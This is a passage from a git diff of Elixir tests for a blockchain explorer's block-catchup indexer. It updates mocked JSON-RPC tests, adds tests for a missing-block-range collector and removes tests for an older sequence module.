"0x9a8111062667f7b162851a1cbbe8aece5ff12e761b3dcee93b787fcc12548cf7", + "step" => "306230029", + "timestamp" => "0x5b437f41", + "totalDifficulty" => "0x342337ffffffffffffffffffffffffed8d29bb", + "transactions" => [], + "transactionsRoot" => "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", + "uncles" => [] + } + } + ]} [%{method: "trace_block"} | _] = requests, _options -> {:ok, Enum.map(requests, fn %{id: id} -> %{id: id, result: []} end)} @@ -207,13 +220,17 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do {:ok, latest_block_number} = EthereumJSONRPC.fetch_block_number_by_tag("latest", json_rpc_named_arguments) - default_blocks_batch_size = Catchup.Fetcher.default_blocks_batch_size() + default_blocks_batch_size = Catchup.Fetcher.blocks_batch_size() assert latest_block_number > default_blocks_batch_size assert Repo.aggregate(Block, :count, :hash) == 0 - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + first_catchup_block_number = latest_block_number - 1 + previous_batch_block_number = first_catchup_block_number - default_blocks_batch_size + + Application.put_env(:indexer, :block_ranges, "#{previous_batch_block_number}..#{first_catchup_block_number}") + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) @@ -236,8 +253,6 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do assert Repo.aggregate(Block, :count, :hash) >= 1 - previous_batch_block_number = first_catchup_block_number - default_blocks_batch_size - wait_for_results(fn -> Repo.one!(from(block in Block, where: block.number == ^previous_batch_block_number)) end) @@ -375,7 +390,7 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do assert :ok = Supervisor.terminate_child(pid, :task) - assert_receive {:DOWN, ^reference, :process, ^child_pid, :shutdown} + assert_receive {:DOWN, ^reference, :process, ^child_pid, :normal} end test "with other child_id returns {:error, :not_found}", %{pid: pid} do @@ -401,6 +416,11 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do describe "handle_info(:catchup_index, state)" do setup context do + initial_env = Application.get_env(:indexer, :block_ranges) + on_exit(fn -> Application.put_env(:indexer, :block_ranges, initial_env) end) + + set_celo_core_contracts_env_var() + # force to use `Mox`, so we can manipulate `latest_block_number` put_in(context.json_rpc_named_arguments[:transport], EthereumJSONRPC.Mox) end @@ -414,13 +434,13 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do insert(:block, number: 0) insert(:block, number: 1) - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{method: "eth_getBlockByNumber", params: ["latest", false]}, _options -> - {:ok, %{"number" => "0x1"}} + stub(EthereumJSONRPC.Mox, :json_rpc, fn _, _ -> + {:ok, []} end) + MissingRangesCollector.start_link([]) start_supervised!({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) @@ -434,7 +454,7 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do %Catchup.BoundIntervalSupervisor{fetcher: %Catchup.Fetcher{}, task: %Task{pid: pid, ref: ref}} = catchup_index_state} = Catchup.BoundIntervalSupervisor.handle_info(:catchup_index, state) - assert_receive {^ref, %{first_block_number: 0, missing_block_count: 0}} = message + assert_receive {^ref, %{first_block_number: nil, missing_block_count: 0}} = message Process.sleep(100) @@ -454,9 +474,6 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do state: state } do EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{method: "eth_getBlockByNumber", params: ["latest", false]}, _options -> - {:ok, %{"number" => "0x1"}} - end) |> expect(:json_rpc, fn [%{id: id, method: "eth_getBlockByNumber", params: ["0x0", true]}], _options -> {:ok, [ @@ -492,7 +509,7 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do end) |> (fn mock -> case Keyword.fetch!(json_rpc_named_arguments, :variant) do - EthereumJSONRPC.Parity -> + EthereumJSONRPC.Nethermind -> expect(mock, :json_rpc, fn [%{method: "trace_block"} | _] = requests, _options -> {:ok, Enum.map(requests, fn %{id: id} -> %{id: id, result: []} end)} end) @@ -512,8 +529,10 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} end) + Application.put_env(:indexer, :block_ranges, "0..0") + MissingRangesCollector.start_link([]) start_supervised({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) ContractCode.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) @@ -527,6 +546,8 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do # from `setup :state` assert_received :catchup_index + Process.sleep(50) + assert {:noreply, %Catchup.BoundIntervalSupervisor{fetcher: %Catchup.Fetcher{}, task: %Task{pid: pid, ref: ref}} = catchup_index_state} = Catchup.BoundIntervalSupervisor.handle_info(:catchup_index, state) @@ -580,4 +601,28 @@ defmodule Indexer.Block.Catchup.BoundIntervalSupervisorTest do {:ok, %{pid: pid}} end + + defp set_celo_core_contracts_env_var do + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "Accounts" => [], + "Election" => [], + "EpochRewards" => [], + "FeeHandler" => [], + "GasPriceMinimum" => [], + "GoldToken" => [], + "Governance" => [], + "LockedGold" => [], + "Reserve" => [], + "StableToken" => [], + "Validators" => [] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + end end diff --git a/apps/indexer/test/indexer/block/catchup/fetcher_test.exs b/apps/indexer/test/indexer/block/catchup/fetcher_test.exs index 650de4a5ba4b..0be013f9c980 100644 --- a/apps/indexer/test/indexer/block/catchup/fetcher_test.exs +++ b/apps/indexer/test/indexer/block/catchup/fetcher_test.exs @@ -8,9 +8,14 @@ defmodule Indexer.Block.Catchup.FetcherTest do alias Explorer.Chain alias Explorer.Chain.Block.Reward alias Explorer.Chain.Hash + alias Explorer.Utility.MissingRangesManipulator + alias Explorer.Utility.MissingBlockRange alias Indexer.Block alias Indexer.Block.Catchup.Fetcher - alias Indexer.Fetcher.{BlockReward, CoinBalance, InternalTransaction, Token, TokenBalance, UncleBlock} + alias Indexer.Block.Catchup.MissingRangesCollector + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + alias Indexer.Fetcher.{BlockReward, InternalTransaction, Token, TokenBalance, UncleBlock} + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand @moduletag capture_log: true @@ -27,24 +32,43 @@ defmodule Indexer.Block.Catchup.FetcherTest do transport: EthereumJSONRPC.Mox, transport_options: [], # Which one does not matter, so pick one - variant: EthereumJSONRPC.Parity + variant: EthereumJSONRPC.Nethermind ] } end describe "import/1" do + setup do + configuration = Application.get_env(:indexer, :last_block) + Application.put_env(:indexer, :last_block, 0) + Application.put_env(:indexer, Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, disabled?: true) + + {:ok, _pid} = ContractCreatorOnDemand.start_link([[], []]) + + on_exit(fn -> + Application.put_env(:indexer, :last_block, configuration) + end) + end + test "fetches uncles asynchronously", %{json_rpc_named_arguments: json_rpc_named_arguments} do - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments + ) + + MissingRangesCollector.start_link([]) + MissingRangesManipulator.start_link([]) + parent = self() pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, uncles}} -> + {:"$gen_call", from, {:buffer, uncles, _front?}} -> GenServer.reply(from, :ok) send(parent, {:uncles, uncles}) end @@ -123,13 +147,46 @@ defmodule Indexer.Block.Catchup.FetcherTest do end describe "task/1" do + setup do + initial_env = Application.get_env(:indexer, :block_ranges) + on_exit(fn -> Application.put_env(:indexer, :block_ranges, initial_env) end) + Application.put_env(:indexer, Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor, disabled?: true) + + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, + contracts: %{ + "addresses" => %{ + "Accounts" => [], + "Election" => [], + "EpochRewards" => [], + "FeeHandler" => [], + "GasPriceMinimum" => [], + "GoldToken" => [], + "Governance" => [], + "LockedGold" => [], + "Reserve" => [], + "StableToken" => [], + "Validators" => [] + } + } + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.CeloCoreContracts, contracts: %{}) + end) + end + test "ignores fetched beneficiaries with different hash for same number", %{ json_rpc_named_arguments: json_rpc_named_arguments } do - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + Application.put_env(:indexer, Indexer.Block.Catchup.Fetcher, batch_size: 1, concurrency: 10) + Application.put_env(:indexer, :block_ranges, "0..1") + start_supervised!({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + MissingRangesCollector.start_link([]) + MissingRangesManipulator.start_link([]) latest_block_number = 2 latest_block_quantity = integer_to_quantity(latest_block_number) @@ -262,16 +319,17 @@ defmodule Indexer.Block.Catchup.FetcherTest do assert count(Chain.Block) == 0 + Process.sleep(50) + assert %{first_block_number: ^block_number, last_block_number: 0, missing_block_count: 2, shrunk: false} = Fetcher.task(%Fetcher{ - blocks_batch_size: 1, block_fetcher: %Block.Fetcher{ callback_module: Fetcher, json_rpc_named_arguments: json_rpc_named_arguments } }) - Process.sleep(1000) + Process.sleep(3000) assert count(Chain.Block) == 1 assert count(Reward) == 0 @@ -280,10 +338,15 @@ defmodule Indexer.Block.Catchup.FetcherTest do test "async fetches beneficiaries when individual responses error out", %{ json_rpc_named_arguments: json_rpc_named_arguments } do - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + Application.put_env(:indexer, Indexer.Block.Catchup.Fetcher, batch_size: 1, concurrency: 10) + Application.put_env(:indexer, :block_ranges, "0..1") + start_supervised!({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + MissingRangesCollector.start_link([]) + MissingRangesManipulator.start_link([]) latest_block_number = 2 latest_block_quantity = integer_to_quantity(latest_block_number) @@ -403,7 +466,7 @@ defmodule Indexer.Block.Catchup.FetcherTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, block_numbers}} -> + {:"$gen_call", from, {:buffer, block_numbers, _front?}} -> GenServer.reply(from, :ok) send(parent, {:block_numbers, block_numbers}) end @@ -411,16 +474,17 @@ defmodule Indexer.Block.Catchup.FetcherTest do Process.register(pid, BlockReward) + Process.sleep(50) + assert %{first_block_number: ^block_number, last_block_number: 0, missing_block_count: 2, shrunk: false} = Fetcher.task(%Fetcher{ - blocks_batch_size: 1, block_fetcher: %Block.Fetcher{ callback_module: Fetcher, json_rpc_named_arguments: json_rpc_named_arguments } }) - Process.sleep(1000) + Process.sleep(3000) assert count(Chain.Block) == 1 assert count(Reward) == 0 @@ -431,10 +495,15 @@ defmodule Indexer.Block.Catchup.FetcherTest do test "async fetches beneficiaries when entire call errors out", %{ json_rpc_named_arguments: json_rpc_named_arguments } do - CoinBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + Application.put_env(:indexer, Indexer.Block.Catchup.Fetcher, batch_size: 1, concurrency: 10) + Application.put_env(:indexer, :block_ranges, "0..1") + start_supervised!({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + MissingRangesCollector.start_link([]) + MissingRangesManipulator.start_link([]) latest_block_number = 2 latest_block_quantity = integer_to_quantity(latest_block_number) @@ -516,7 +585,7 @@ defmodule Indexer.Block.Catchup.FetcherTest do jsonrpc: "2.0", result: %{ "hash" => to_string(block_hash_0), - "number" => block_quantity, + "number" => "0x0", "difficulty" => "0x0", "gasLimit" => "0x0", "gasUsed" => "0x0", @@ -547,7 +616,7 @@ defmodule Indexer.Block.Catchup.FetcherTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, block_numbers}} -> + {:"$gen_call", from, {:buffer, block_numbers, _front?}} -> GenServer.reply(from, :ok) send(parent, {:block_numbers, block_numbers}) end @@ -555,71 +624,236 @@ defmodule Indexer.Block.Catchup.FetcherTest do Process.register(pid, BlockReward) + Process.sleep(50) + assert %{first_block_number: ^block_number, last_block_number: 0, missing_block_count: 2, shrunk: false} = Fetcher.task(%Fetcher{ - blocks_batch_size: 1, block_fetcher: %Block.Fetcher{ callback_module: Fetcher, json_rpc_named_arguments: json_rpc_named_arguments } }) - Process.sleep(1000) + Process.sleep(3000) assert count(Chain.Block) == 1 assert count(Reward) == 0 assert_receive {:block_numbers, [^block_number]}, 5_000 end - end - describe "block_ranges/0" do - setup do - initial_env = Application.get_all_env(:indexer) - on_exit(fn -> Application.put_all_env([{:indexer, initial_env}]) end) - end + test "failed blocks handles correctly", %{json_rpc_named_arguments: json_rpc_named_arguments} do + Application.put_env(:indexer, Indexer.Block.Catchup.Fetcher, batch_size: 2, concurrency: 10) + Application.put_env(:indexer, :block_ranges, "0..1") + start_supervised!({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) + MissingRangesCollector.start_link([]) + MissingRangesManipulator.start_link([]) - test "ignores bad ranges", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{method: "eth_getBlockByNumber", params: ["latest", false]}, _options -> - {:ok, %{"number" => "0x100"}} + |> expect(:json_rpc, 1, fn + [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x1", true] + }, + %{ + id: id_2, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: ["0x0", true] + } + ], + _options -> + {:ok, + [ + %{ + id: id_1, + jsonrpc: "2.0", + error: %{message: "error"} + }, + %{ + id: id_2, + jsonrpc: "2.0", + error: %{message: "error"} + } + ]} end) - # doing such workaround is safe since this module is not async - Application.put_env(:indexer, :block_ranges, "1..5,3..5,2qw1..12,10..11a,,asd..qwe,10..latest") - # latest block is left for realtime_index - assert Fetcher.block_ranges(json_rpc_named_arguments) == {:ok, [1..5, 10..255]} - end + Process.sleep(50) - test "ignores FIRST_BLOCK/LAST_BLOCK when BLOCK_RANGES defined", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - Application.put_env(:indexer, :first_block, "1") - Application.put_env(:indexer, :last_block, "10") - Application.put_env(:indexer, :block_ranges, "2..5,10..100") - assert Fetcher.block_ranges(json_rpc_named_arguments) == {:ok, [2..5, 10..100]} - end + assert %{first_block_number: 1, last_block_number: 0, missing_block_count: 2, shrunk: false} = + Fetcher.task(%Fetcher{ + block_fetcher: %Block.Fetcher{ + callback_module: Fetcher, + json_rpc_named_arguments: json_rpc_named_arguments + } + }) - test "uses FIRST_BLOCK/LAST_BLOCK when BLOCK_RANGES is undefined or invalid", %{ - json_rpc_named_arguments: json_rpc_named_arguments - } do - Application.put_env(:indexer, :first_block, "1") - Application.put_env(:indexer, :last_block, "10") - assert Fetcher.block_ranges(json_rpc_named_arguments) == {:ok, [1..9]} + Process.sleep(1000) - Application.put_env(:indexer, :block_ranges, "latest..123,,fvdskvjglav!@#$%^&,2..1") - assert Fetcher.block_ranges(json_rpc_named_arguments) == {:ok, [1..9]} + assert %{from_number: 1, to_number: 0} = Repo.one(MissingBlockRange) end - test "all ranges are disjoint", %{json_rpc_named_arguments: json_rpc_named_arguments} do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{method: "eth_getBlockByNumber", params: ["latest", false]}, _options -> - {:ok, %{"number" => "0x100"}} - end) + if Application.compile_env(:explorer, :chain_type) == :stability do + test "update stability validator counter", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + Application.put_env(:indexer, Indexer.Block.Catchup.Fetcher, batch_size: 1, concurrency: 10) + Application.put_env(:indexer, :block_ranges, "1..2") + start_supervised!({Task.Supervisor, name: Indexer.Block.Catchup.TaskSupervisor}) + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + InternalTransaction.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + Token.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + TokenBalance.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + MissingRangesCollector.start_link([]) + MissingRangesManipulator.start_link([]) + + latest_block_number = 3 + latest_block_quantity = integer_to_quantity(latest_block_number) + + block_number = latest_block_number - 1 + block_hash = block_hash() + block_hash_1 = block_hash() + block_quantity = integer_to_quantity(block_number) + block_quantity_1 = integer_to_quantity(block_number - 1) + + validator = insert(:validator_stability) + miner_hash_data = to_string(validator.address_hash) + miner_hash_0 = address_hash() + miner_hash_0_data = to_string(miner_hash_0) + + new_block_hash = block_hash() + + refute block_hash == new_block_hash + + EthereumJSONRPC.Mox + |> expect(:json_rpc, 4, fn + %{method: "eth_getBlockByNumber", params: ["latest", false]}, _options -> + {:ok, %{"number" => latest_block_quantity}} + + [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity, true] + } + ], + _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: %{ + "hash" => to_string(block_hash), + "number" => block_quantity, + "difficulty" => "0x0", + "gasLimit" => "0x0", + "gasUsed" => "0x0", + "extraData" => "0x0", + "logsBloom" => "0x0", + "miner" => miner_hash_data, + "parentHash" => + block_hash() + |> to_string(), + "receiptsRoot" => "0x0", + "size" => "0x0", + "sha3Uncles" => "0x0", + "stateRoot" => "0x0", + "timestamp" => "0x0", + "totalDifficulty" => "0x0", + "transactions" => [], + "transactionsRoot" => "0x0", + "uncles" => [] + } + } + ]} + + [%{id: id, jsonrpc: "2.0", method: "trace_block", params: [^block_quantity]}], _options -> + { + :ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: [] + } + ] + } + + [%{id: id, jsonrpc: "2.0", method: "trace_block", params: [^block_quantity_1]}], _options -> + { + :ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: [] + } + ] + } + + [ + %{ + id: id, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity_1, true] + } + ], + _options -> + {:ok, + [ + %{ + id: id, + jsonrpc: "2.0", + result: %{ + "hash" => to_string(block_hash_1), + "number" => block_quantity_1, + "difficulty" => "0x0", + "gasLimit" => "0x0", + "gasUsed" => "0x0", + "extraData" => "0x0", + "logsBloom" => "0x0", + "miner" => miner_hash_data, + "parentHash" => + block_hash() + |> to_string(), + "receiptsRoot" => "0x0", + "size" => "0x0", + "sha3Uncles" => "0x0", + "stateRoot" => "0x0", + "timestamp" => "0x0", + "totalDifficulty" => "0x0", + "transactions" => [], + "transactionsRoot" => "0x0", + "uncles" => [] + } + } + ]} + end) + + assert count(Chain.Block) == 0 + + Process.sleep(50) + + assert %{first_block_number: ^block_number, last_block_number: 1, missing_block_count: 2, shrunk: false} = + Fetcher.task(%Fetcher{ + block_fetcher: %Block.Fetcher{ + callback_module: Fetcher, + json_rpc_named_arguments: json_rpc_named_arguments + } + }) + + Process.sleep(3000) + + assert count(Chain.Block) == 2 - Application.put_env(:indexer, :block_ranges, "10..20,5..15,18..25,35..40,30..50,100..latest,150..200") - assert Fetcher.block_ranges(json_rpc_named_arguments) == {:ok, [5..25, 30..50, 100..255]} + validator_from_db = Repo.get!(Explorer.Chain.Stability.Validator, validator.address_hash) + assert validator_from_db.blocks_validated == validator.blocks_validated + 2 + end end end diff --git a/apps/indexer/test/indexer/block/catchup/missing_ranges_collector_test.exs b/apps/indexer/test/indexer/block/catchup/missing_ranges_collector_test.exs new file mode 100644 index 000000000000..41f1ac05fa0c --- /dev/null +++ b/apps/indexer/test/indexer/block/catchup/missing_ranges_collector_test.exs @@ -0,0 +1,147 @@ +defmodule Indexer.Block.Catchup.MissingRangesCollectorTest do + use Explorer.DataCase, async: false + + import Mox + + alias Explorer.Utility.MissingBlockRange + alias Indexer.Block.Catchup.MissingRangesCollector + + setup :set_mox_global + + describe "default_init" do + setup do + initial_env = Application.get_all_env(:indexer) + on_exit(fn -> Application.put_all_env([{:indexer, initial_env}]) end) + end + + test "empty envs" do + stub(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBlockByNumber", params: ["latest", false]}], + _options -> + block_response(id, 1_000_000) + end) + + insert(:block, number: 1_000_000) + insert(:block, number: 500_123) + MissingRangesCollector.start_link([]) + Process.sleep(1500) + + assert [999_999..999_900//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + assert [999_899..999_800//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + assert [999_799..999_700//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + + stub(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBlockByNumber", params: ["latest", false]}], + _options -> + block_response(id, 1_000_200) + end) + + insert(:block, number: 1_000_200) + Process.sleep(1000) + + assert [1_000_199..1_000_100//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + assert [1_000_099..1_000_001//-1, 999_699..999_699//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + assert [999_698..999_599//-1] = MissingBlockRange.get_latest_batch(100) + end + end + + describe "ranges_init" do + setup do + initial_env = Application.get_all_env(:indexer) + on_exit(fn -> Application.put_all_env([{:indexer, initial_env}]) end) + end + + test "infinite range" do + stub(EthereumJSONRPC.Mox, :json_rpc, fn [%{id: id, method: "eth_getBlockByNumber", params: ["latest", false]}], + _options -> + block_response(id, 200) + end) + + Application.put_env(:indexer, :block_ranges, "1..5,3..5,2qw1..12,10..11a,,asd..qwe,10..latest") + + insert(:block, number: 200) + + MissingRangesCollector.start_link([]) + Process.sleep(500) + + assert [199..100//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + assert [99..10//-1, 5..1//-1] = MissingBlockRange.get_latest_batch(100) + end + + test "finite range" do + Application.put_env(:indexer, :block_ranges, "10..20,5..15,18..25,35..40,30..50,150..200") + + insert(:block, number: 200_000) + + MissingRangesCollector.start_link([]) + Process.sleep(500) + + assert [200..150//-1, 50..30//-1, 25..5//-1] = batch = MissingBlockRange.get_latest_batch(100) + MissingBlockRange.clear_batch(batch) + assert [] = MissingBlockRange.get_latest_batch() + end + + test "finite range with existing blocks" do + Application.put_env(:indexer, :block_ranges, "10..20,5..15,18..25,35..40,30..50,150..200") + + insert(:block, number: 200_000) + insert(:block, number: 175) + insert(:block, number: 33) + + MissingRangesCollector.start_link([]) + Process.sleep(500) + + assert [200..176//-1, 174..150//-1, 50..34//-1, 32..30//-1, 25..5//-1] = + batch = MissingBlockRange.get_latest_batch(91) + + MissingBlockRange.clear_batch(batch) + assert [] = MissingBlockRange.get_latest_batch() + end + end + + test "parse_block_ranges/1" do + assert MissingRangesCollector.parse_block_ranges("1..5,3..5,2qw1..12,10..11a,,asd..qwe,10..latest") == + {:infinite_ranges, [1..5], 9} + + assert MissingRangesCollector.parse_block_ranges("latest..123,,fvdskvjglav!@#$%^&,2..1") == :no_ranges + + assert MissingRangesCollector.parse_block_ranges("10..20,5..15,18..25,35..40,30..50,100..latest,150..200") == + {:infinite_ranges, [5..25, 30..50], 99} + + assert MissingRangesCollector.parse_block_ranges("10..20,5..15,18..25,35..40,30..50,150..200") == + {:finite_ranges, [5..25, 30..50, 150..200]} + end + + defp block_response(id, block_number) do + {:ok, + [ + %{ + id: id, + result: %{ + "difficulty" => "0x0", + "gasLimit" => "0x0", + "gasUsed" => "0x0", + "hash" => "0x29c850324e357f3c0c836d79860c5af55f7b651e5d7ee253c1af1b14908af49c", + "extraData" => "0x0", + "logsBloom" => "0x0", + "miner" => "0x0", + "number" => block_number, + "parentHash" => "0x0", + "receiptsRoot" => "0x0", + "size" => "0x0", + "sha3Uncles" => "0x0", + "stateRoot" => "0x0", + "timestamp" => "0x0", + "totalDifficulty" => "0x0", + "transactions" => [], + "transactionsRoot" => "0x0", + "uncles" => [] + } + } + ]} + end +end diff --git a/apps/indexer/test/indexer/block/catchup/sequence_test.exs b/apps/indexer/test/indexer/block/catchup/sequence_test.exs deleted file mode 100644 index 38ee03aaba48..000000000000 --- a/apps/indexer/test/indexer/block/catchup/sequence_test.exs +++ /dev/null @@ -1,248 +0,0 @@ -defmodule Indexer.Block.Catchup.SequenceTest do - use ExUnit.Case - - alias Indexer.Block.Catchup.Sequence - alias Indexer.Memory.Shrinkable - - describe "start_link/1" do - test "without :ranges with :first with positive step pops infinitely" do - {:ok, ascending} = Sequence.start_link(first: 5, step: 1) - - assert Sequence.pop_front(ascending) == 5..5 - assert Sequence.pop_front(ascending) == 6..6 - end - - test "without :ranges with :first with negative :step is error" do - {child_pid, child_ref} = - spawn_monitor(fn -> - Sequence.start_link(first: 1, step: -1) - Process.sleep(:timer.seconds(5)) - end) - - assert_receive {:DOWN, ^child_ref, :process, ^child_pid, - ":step must be a positive integer for infinite sequences"} - end - - test "without :ranges without :first returns error" do - {child_pid, child_ref} = - spawn_monitor(fn -> - Sequence.start_link(step: -1) - Process.sleep(:timer.seconds(5)) - end) - - assert_receive {:DOWN, ^child_ref, :process, ^child_pid, "either :ranges or :first must be set"} - end - - test "with ranges without :first" do - {:ok, pid} = Sequence.start_link(ranges: [1..4], step: 1) - - assert Sequence.pop_front(pid) == 1..1 - assert Sequence.pop_front(pid) == 2..2 - assert Sequence.pop_front(pid) == 3..3 - assert Sequence.pop_front(pid) == 4..4 - assert Sequence.pop_front(pid) == :halt - end - - test "with :ranges with :first returns error" do - {child_pid, child_ref} = - spawn_monitor(fn -> - Sequence.start_link(ranges: [1..0], first: 1, step: -1) - Process.sleep(:timer.seconds(5)) - end) - - assert_receive {:DOWN, ^child_ref, :process, ^child_pid, - ":ranges and :first cannot be set at the same time" <> - " as :ranges is for :finite mode while :first is for :infinite mode"} - end - - test "with 0 first with negative step does not return 0 twice" do - {:ok, pid} = Sequence.start_link(ranges: [1..0], step: -1) - - assert Sequence.pop_front(pid) == 1..1 - assert Sequence.pop_front(pid) == 0..0 - assert Sequence.pop_front(pid) == :halt - end - - # Regression test for https://github.com/poanetwork/blockscout/issues/387 - test "ensures Sequence shuts down when parent process dies" do - parent = self() - - {child_pid, child_ref} = spawn_monitor(fn -> send(parent, Sequence.start_link(first: 1, step: 1)) end) - - assert_receive {:DOWN, ^child_ref, :process, ^child_pid, :normal} - assert_receive {:ok, sequence_pid} when is_pid(sequence_pid) - - sequence_ref = Process.monitor(sequence_pid) - - # noproc when the sequence has already died by the time monitor is called - assert_receive {:DOWN, ^sequence_ref, :process, ^sequence_pid, status} when status in [:normal, :noproc] - end - end - - describe "push_back/2" do - test "with finite mode range is chunked" do - {:ok, pid} = Sequence.start_link(ranges: [1..0], step: -1) - - assert Sequence.pop_front(pid) == 1..1 - assert Sequence.pop_front(pid) == 0..0 - - assert 